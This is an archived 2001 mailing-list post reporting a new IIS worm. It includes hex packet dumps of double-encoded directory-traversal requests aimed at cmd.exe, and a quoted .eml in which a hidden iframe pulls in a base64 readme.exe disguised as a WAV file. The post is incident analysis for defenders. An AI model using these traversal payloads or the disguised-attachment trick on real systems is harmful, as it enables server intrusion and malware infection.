Return-Path: <sentto-279987-2034-1000829843-fc=all.net@returns.onelist.com> Delivered-To: fc@all.net Received: from 204.181.12.215 by localhost with POP3 (fetchmail-5.1.0) for fc@localhost (single-drop); Tue, 18 Sep 2001 09:18:16 -0700 (PDT) Received: (qmail 9661 invoked by uid 510); 18 Sep 2001 16:17:54 -0000 Received: from n6.groups.yahoo.com (216.115.96.56) by 204.181.12.215 with SMTP; 18 Sep 2001 16:17:54 -0000 X-eGroups-Return: sentto-279987-2034-1000829843-fc=all.net@returns.onelist.com Received: from [10.1.1.220] by hm.egroups.com with NNFMP; 18 Sep 2001 16:17:28 -0000 X-Sender: fc@big.all.net X-Apparently-To: iwar@onelist.com Received: (EGP: mail-7_3_2_2); 18 Sep 2001 16:17:23 -0000 Received: (qmail 96616 invoked from network); 18 Sep 2001 16:17:23 -0000 Received: from unknown (10.1.10.142) by 10.1.1.220 with QMQP; 18 Sep 2001 16:17:23 -0000 Received: from unknown (HELO big.all.net) (65.0.156.78) by mta3 with SMTP; 18 Sep 2001 16:17:27 -0000 Received: (from fc@localhost) by big.all.net (8.9.3/8.7.3) id JAA05601 for iwar@onelist.com; Tue, 18 Sep 2001 09:17:26 -0700 Message-Id: <200109181617.JAA05601@big.all.net> To: iwar@onelist.com (Information Warfare Mailing List) Organization: I'm not allowed to say X-Mailer: don't even ask X-Mailer: ELM [version 2.5 PL1] From: Fred Cohen <fc@all.net> Mailing-List: list iwar@yahoogroups.com; contact iwar-owner@yahoogroups.com Delivered-To: mailing list iwar@yahoogroups.com Precedence: bulk List-Unsubscribe: <mailto:iwar-unsubscribe@yahoogroups.com> Date: Tue, 18 Sep 2001 09:17:26 -0700 (PDT) Reply-To: iwar@yahoogroups.com Subject: [iwar] [fc:More.details.on.the.new.worm] Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit [FC - from incidents@securityfocus.com] It uses double-encoding exploits, and propagates both by adding javascript to the main page and by probing other systems... Report: Our systems got hit by 3 attempts, all unsuccessful, to exploit IIS: Date Time D Source IP Sport Dport P 01Sep18 11:20 T 200.192.226.40 3933 80 T 01Sep18 11:20 T 200.192.226.40 3767 80 T 01Sep18 11:20 T 200.192.226.40 3572 80 T SOURCE: 200.192.226.40 45 00 00 9d 62 61 40 00 77 06 16 3d c8 c0 e2 28 xx xx xx xx E...ba@.w..=...(xxxx 0d f4 00 50 7b b0 1f 02 c3 7e 8c 4e 50 18 22 38 07 7a 00 00 ...P{....~.NP."8.z.. 47 45 54 20 2f 5f 76 74 69 5f 62 69 6e 2f 2e 2e 25 32 35 35 GET /_vti_bin/..%255 63 2e 2e 2f 2e 2e 25 32 35 35 63 2e 2e 2f 2e 2e 25 32 35 35 c../..%255c../..%255 63 2e 2e 2f 77 69 6e 6e 74 2f 73 79 73 74 65 6d 33 32 2f 63 c../winnt/system32/c 6d 64 2e 65 78 65 3f 2f 63 2b 64 69 72 20 48 54 54 50 2f 31 md.exe?/c+dir HTTP/1 2e 30 0d 0a 48 6f 73 74 3a 20 77 77 77 0d 0a 43 6f 6e 6e 6e .0..Host: www..Connn 65 63 74 69 6f 6e 3a 20 63 6c 6f 73 65 0d 0a 0d 0a ection: close.... 45 00 00 9d b0 63 40 00 77 06 c8 3a c8 c0 e2 28 xx xx xx xx E....c@.w..:...(xxxx 0e b7 00 50 7b b2 1a 91 c3 4f d5 1e 50 18 22 38 c7 93 00 00 ...P{....O..P."8.... 47 45 54 20 2f 5f 6d 65 6d 5f 62 69 6e 2f 2e 2e 25 32 35 35 GET /_mem_bin/..%255 63 2e 2e 2f 2e 2e 25 32 35 35 63 2e 2e 2f 2e 2e 25 32 35 35 c../..%255c../..%255 63 2e 2e 2f 77 69 6e 6e 74 2f 73 79 73 74 65 6d 33 32 2f 63 c../winnt/system32/c 6d 64 2e 65 78 65 3f 2f 63 2b 64 69 72 20 48 54 54 50 2f 31 md.exe?/c+dir HTTP/1 2e 30 0d 0a 48 6f 73 74 3a 20 77 77 77 0d 0a 43 6f 6e 6e 6e .0..Host: www..Connn 65 63 74 69 6f 6e 3a 20 63 6c 6f 73 65 0d 0a 0d 0a ection: close.... 45 00 00 b9 39 65 40 00 77 06 3f 1d c8 c0 e2 28 xx xx xx xx E...9e@.w.?....(xxxx 0f 5d 00 50 7b b2 22 36 c3 4c 5a ed 50 18 22 38 dd 36 00 00 .].P{."6.LZ.P."8.6.. 47 45 54 20 2f 6d 73 61 64 63 2f 2e 2e 25 32 35 35 63 2e 2e GET /msadc/..%255c.. 2f 2e 2e 25 32 35 35 63 2e 2e 2f 2e 2e 25 32 35 35 63 2f 2e /..%255c../..%255c/. 2e 25 63 31 25 31 63 2e 2e 2f 2e 2e 25 63 31 25 31 63 2e 2e .%c1%1c../..%c1%1c.. 2f 2e 2e 25 63 31 25 31 63 2e 2e 2f 77 69 6e 6e 74 2f 73 79 /..%c1%1c../winnt/sy 73 74 65 6d 33 32 2f 63 6d 64 2e 65 78 65 3f 2f 63 2b 64 69 stem32/cmd.exe?/c+di 72 20 48 54 54 50 2f 31 2e 30 0d 0a 48 6f 73 74 3a 20 77 77 r HTTP/1.0..Host: ww 77 0d 0a 43 6f 6e 6e 6e 65 63 74 69 6f 6e 3a 20 63 6c 6f 73 w..Connnection: clos 65 0d 0a 0d 0a e.... --------------- When I connected to the originating server (femm.tdkomm.com.br), I saw the normal web page for the institution, plus a pop-up window for <a href="http://femm.tdkomm.com.br/readme.DONT.eml">http://femm.tdkomm.com.br/readme.DONT.eml> (without "DONT"), as follows: MIME-Version: 1.0 Content-Type: multipart/related; type="multipart/alternative"; boundary="====_ABC1234567890DEF_====" X-Priority: 3 X-MSMail-Priority: Normal X-Unsent: 1 --====_ABC1234567890DEF_==== Content-Type: multipart/alternative; boundary="====_ABC0987654321DEF_====" --====_ABC0987654321DEF_==== Content-Type: text/html; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable <HTML<HEAD</HEAD<BODY bgColor=3D#ffffff <iframe src=3Dcid:EA4DMGBP9p height=3D0 width=3D0 </iframe</BODY</HTML --====_ABC0987654321DEF_====-- --====_ABC1234567890DEF_==== Content-Type: audio/x-wav; name="readme.exe" Content-Transfer-Encoding: base64 Content-ID: <EA4DMGBP9p TVqQAAMAAAAEAAAA//8AALgAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAA2AAAAA4fug4AtAnNIbgBTM0hVGhpcyBwcm9ncmFtIGNhbm5vdCBiZSBydW4gaW4gRE9TIG1v ZGUuDQ0KJAAAAAAAAAA11CFvcbVPPHG1TzxxtU88E6pcPHW1TzyZqkU8dbVPPJmqSzxytU88cbVO PBG1TzyZqkQ8fbVPPMmzSTxwtU88UmljaHG1TzwAAAAAAAAAAH8AAAEAAAB/UEUAAEwBBQB1Oqc7 AAAAAAAAAADgAA4BCwEGAABwAAAAYAAAAAAAALN0AAAAEAAAAIAAAAAAFzYAEAAAABAAAAQAAAAA ... (worm code follows) I've inspected the executable code, and it reads like a worm. (doh) ------------------ http://all.net/ Your use of Yahoo! Groups is subject to http://docs.yahoo.com/info/terms/
This archive was generated by hypermail 2.1.2 : 2001-09-29 21:08:45 PDT